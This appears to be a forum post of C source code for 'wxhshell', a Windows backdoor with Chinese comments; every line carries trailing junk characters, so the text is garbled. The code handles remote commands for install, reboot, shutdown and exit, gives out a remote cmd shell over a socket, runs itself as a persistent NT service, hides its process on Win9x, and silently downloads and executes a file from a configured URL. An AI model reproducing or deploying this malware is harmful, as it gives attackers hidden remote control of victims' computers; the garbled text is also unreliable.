  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,&!Txyye  
  } 40oRO0p  
  else { -Vk+zEht  
nqt;Ge M  
    switch(cmd[0]) { &V[m{.  
  q7C>A`w  
  // 帮助 5~CHj  
  case '?': { 0I4RZ.2*Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a="Z]JGk  
    break; !~cTe!T  
  } XFPWW,  
  // 安装 DGTSk9iK(  
  case 'i': { 1_!*R]aq  
    if(Install()) :~pPB#)nk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m0W5Ogk  
    else |Gb"%5YD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x5k6yHn  
    break; ~&=-*  
    } auqM>yx  
  // 卸载 ao<@a{G  
  case 'r': { BM#cosV7%h  
    if(Uninstall()) "8aw=3A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iNgHx[*?  
    else C$xU!9K[+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _gjsAbM  
    break; e7ixi^Q  
    } G@anY=D\EB  
  // 显示 wxhshell 所在路径 )%U&z>^P  
  case 'p': { 9Nglt3J[  
    char svExeFile[MAX_PATH]; <1Vz QH!o  
    strcpy(svExeFile,"\n\r"); 1_THBL26d  
      strcat(svExeFile,ExeFile); %< JjftNQ  
        send(wsh,svExeFile,strlen(svExeFile),0); IDb|J%e^P  
    break; ,YJ\ $?  
    } Q_xE:#!;  
  // 重启 yw2^kk93|  
  case 'b': { c-!rJHL`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T%Vii*?M  
    if(Boot(REBOOT)) #vYdP#nWb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nrva?W_i  
    else { ,L^eD>|j5  
    closesocket(wsh); 1"009/|   
    ExitThread(0);  cpp0Y^  
    } xCD|UC46?X  
    break; [XjJsk,  
    } <*~vZT i(  
  // 关机 a%7ju4CVj  
  case 'd': { 2:Q9g ru  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f7}/ {}g  
    if(Boot(SHUTDOWN)) Z}TuVE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <P7f\$o~  
    else { &C<B=T"I  
    closesocket(wsh); aHe/MucK  
    ExitThread(0); lqa.Nj  
    } a-,!K  
    break; !-%i" a  
    } +Cl(:kfYB  
  // 获取shell 4r`u@  
  case 's': { l2U"4d!o  
    CmdShell(wsh); 1g5%Gr/0$5  
    closesocket(wsh); 'H <?K  
    ExitThread(0); @;M( oFS9  
    break; 3Ln~"HwP  
  } V= U=  
  // 退出 a;D{P`%n  
  case 'x': { ~sshhuF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /cUcfe#X  
    CloseIt(wsh); (X@JlAfB  
    break; 0: R}  
    } .@Z qCH  
  // 离开 ~xpU<Pd*  
  case 'q': { R$4&>VBu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G0Smss=K  
    closesocket(wsh); oJbD|m  
    WSACleanup(); wIz<Y{HA=  
    exit(1); .a1WwI  
    break; ]d}Z2I'  
        } <ZxxlJS)6  
  } k:Sxs+)?1  
  } (m4`l_  
RyKsM.   
  // 提示信息 r.0IC*Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A9ia[2[  
}  pI|Lt  
  } 7R[4XQ%  
A1zM$ wDU  
  return; e)LRD&Q  
} r5> FU>7'  
lcHw Kd  
// shell模块句柄 vF0#]  
int CmdShell(SOCKET sock) F]\(p=U.  
{ jt?4raNW  
STARTUPINFO si; Z;=G5O uvQ  
ZeroMemory(&si,sizeof(si)); Lz's!b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )4>M<BO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W'u6F-$2  
PROCESS_INFORMATION ProcessInfo; mk8xNpk B  
char cmdline[]="cmd"; }&Un8Rg"h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G < Z)y#  
  return 0; bO>q`%&  
} trcG^uV  
Q{T6t;eH  
// 自身启动模式 7T9m@  
int StartFromService(void) &[$qA  
{ eRc+.m[  
typedef struct Qyvn A|&  
{ C']TO/2q  
  DWORD ExitStatus; z^$DXl@)h  
  DWORD PebBaseAddress; Yb\t0:_  
  DWORD AffinityMask; wl1i @&9  
  DWORD BasePriority; @H2c77%  
  ULONG UniqueProcessId; q`_d>l  
  ULONG InheritedFromUniqueProcessId; je@F:5  
}   PROCESS_BASIC_INFORMATION; B:#5U85m  
2K4Jkyi  
PROCNTQSIP NtQueryInformationProcess; b<>GF-`w  
;= ^kTb`X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a|rN %hA4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~=91Kxf  
A&X(\c M  
  HANDLE             hProcess; EjW3_ %  
  PROCESS_BASIC_INFORMATION pbi; ~sT/t1Rp  
)zz^RB\p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H6%QM}t  
  if(NULL == hInst ) return 0; /|V!2dQs"  
]Ir{9EE v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); huFT_z_;;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @TF^6)4f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Uyf<:8U\  
L[o;@+32  
  if (!NtQueryInformationProcess) return 0; m}&cXY  
a,g3 /  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s\i:;`l:=5  
  if(!hProcess) return 0; |& OW_*l  
idW=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l?Vm/YXb  
ap;?[B~Ga  
  CloseHandle(hProcess); n+ 1!/H=d  
HYm |  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [mwJ*GJ-  
if(hProcess==NULL) return 0; 81Ixs Qt  
QP/%+[E.  
HMODULE hMod; /orpQUHA  
char procName[255]; +c;/hM<IX.  
unsigned long cbNeeded; ^*JpdmVhu  
n${,r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -5;Kyio  
!lxs1!:  
  CloseHandle(hProcess); QcQQQM  
-}avH  
if(strstr(procName,"services")) return 1; // 以服务启动  .>?h  
k |}&  
  return 0; // 注册表启动 @!k\Ivd  
} r*?rwtFtg  
Mx? ]7tI  
// 主模块 y.,S}7l:  
int StartWxhshell(LPSTR lpCmdLine) /){F0Zjjt  
{ |^!#x Tj  
  SOCKET wsl; XfY~q~f8  
BOOL val=TRUE; EC9D.afy&  
  int port=0; u\LG_/UJV1  
  struct sockaddr_in door; GjTj..G/  
Pf,S`U w;  
  if(wscfg.ws_autoins) Install(); &%J+d"n(  
E.~;  
port=atoi(lpCmdLine); a(Q4*XH4  
=2+';Xk\  
if(port<=0) port=wscfg.ws_port; 81?7u!=ic+  
x~1.;dBF  
  WSADATA data; F>N3GPRl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &G63ReW7 @  
"s-e)svB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <3?T^/8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ce&nMgd~  
  door.sin_family = AF_INET; o=/Cje  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Twqkd8[  
  door.sin_port = htons(port); ! C}t)R]^  
Qdepzo>E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m ,B,dqT  
closesocket(wsl); iV+'p->/  
return 1; RSL%<  
} iMgfF_r  
r(UEPGu|~l  
  if(listen(wsl,2) == INVALID_SOCKET) {  3Ee8_(E\  
closesocket(wsl); 6AS'MD%&  
return 1; ?l\1n,!:8  
} DGfhS`X  
  Wxhshell(wsl); *qx<bY@F  
  WSACleanup(); *Nfn6lVB  
\Xy]z  
return 0; CR*9-Y93  
Cjvgf .>$  
} $lJu2omi1  
agQ5%t#  
// 以NT服务方式启动 1-z*'Ghys  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P<+y%g(({  
{ m3|KIUP  
DWORD   status = 0; %y@iA91K  
  DWORD   specificError = 0xfffffff; @\~qXz{6J  
!A R$JUnX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6Mpbmfr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bXN-q!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &5 *)r@+  
  serviceStatus.dwWin32ExitCode     = 0; TF\<`}akX  
  serviceStatus.dwServiceSpecificExitCode = 0; 79.J`}#  
  serviceStatus.dwCheckPoint       = 0; 5f54E|vD  
  serviceStatus.dwWaitHint       = 0; 8mjP2  
iU)-YFO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D+ki2UVt&  
  if (hServiceStatusHandle==0) return; NW-l_]k  
>v4k_JX  
status = GetLastError(); GPqF>   
  if (status!=NO_ERROR) V<} ^n  
{ tykA69X\W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pB @l+ n^  
    serviceStatus.dwCheckPoint       = 0; 6{O#!o*g  
    serviceStatus.dwWaitHint       = 0; C=LXL1x2e  
    serviceStatus.dwWin32ExitCode     = status; v\9:G  
    serviceStatus.dwServiceSpecificExitCode = specificError; mwuFXu/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )9,*s !)9  
    return; |pIA9/~Z  
  }  L_+0[A  
Dl862$_Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nMU#g])y)  
  serviceStatus.dwCheckPoint       = 0; 3t(8uG<rL  
  serviceStatus.dwWaitHint       = 0; 5io7!%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q.(p.uD  
} niO(>  
T;-Zl[H  
// 处理NT服务事件,比如:启动、停止 "Y&+J@]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r#{r]q_E*  
{ tVx.J'"Y  
switch(fdwControl) T7;)HFGeW  
{  m8rz i:  
case SERVICE_CONTROL_STOP: 7R\!'`]\M  
  serviceStatus.dwWin32ExitCode = 0; ? Azpb}#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (vIrXF5Dnj  
  serviceStatus.dwCheckPoint   = 0; I3Sl>e(Z  
  serviceStatus.dwWaitHint     = 0;  1fbd/-h  
  { fgxsC7P$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c$f|a$$b   
  } ixJUq o  
  return; -_jV.`t  
case SERVICE_CONTROL_PAUSE: >/"XX,3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %EPqJ(T  
  break; bw*@0;  
case SERVICE_CONTROL_CONTINUE: oH+UuP2a-J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /p,D01Ws}(  
  break; 3 )f=Z2U>  
case SERVICE_CONTROL_INTERROGATE: (PYUfiOf  
  break; }iy`Ko+B"b  
}; .}fc*2.'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MCma3^/1  
} H+zn:j@~L  
\Rn.ug  
// 标准应用程序主函数 6RZ[X[R[}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v)JQb-<  
{ \h^bOxh  
hMJ \a  
// 获取操作系统版本 )!dELS \ix  
OsIsNt=GetOsVer(); <.3@-z>w2,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *f8,R"]-g  
C!w@Naj  
  // 从命令行安装 T4 SByX9  
  if(strpbrk(lpCmdLine,"iI")) Install(); "xdJ9Z-B  
xsRMF&8L  
  // 下载执行文件 /3%]Ggwe  
if(wscfg.ws_downexe) { w8%yX$<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F *; +-e  
  WinExec(wscfg.ws_filenam,SW_HIDE); +ZXGT  
} hBsjO3n  
2h&pm   
if(!OsIsNt) { PqcuSb6  
// 如果时win9x,隐藏进程并且设置为注册表启动 Tu_dkif'  
HideProc(); OxF\Hm)(  
StartWxhshell(lpCmdLine); ZNB*Azi  
} +2oZB]GPL  
else \Y9=d E}  
  if(StartFromService()) ^J>28Q\S  
  // 以服务方式启动 ~E^EF{h   
  StartServiceCtrlDispatcher(DispatchTable); d$rJW m5H  
else KHr8\qLH  
  // 普通方式启动 1jmhh !,  
  StartWxhshell(lpCmdLine); jTw s0=F*  
wri[#D {  
return 0; zJ9ZqC]  
}
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只看该作者 1 发表于: 2006-10-10
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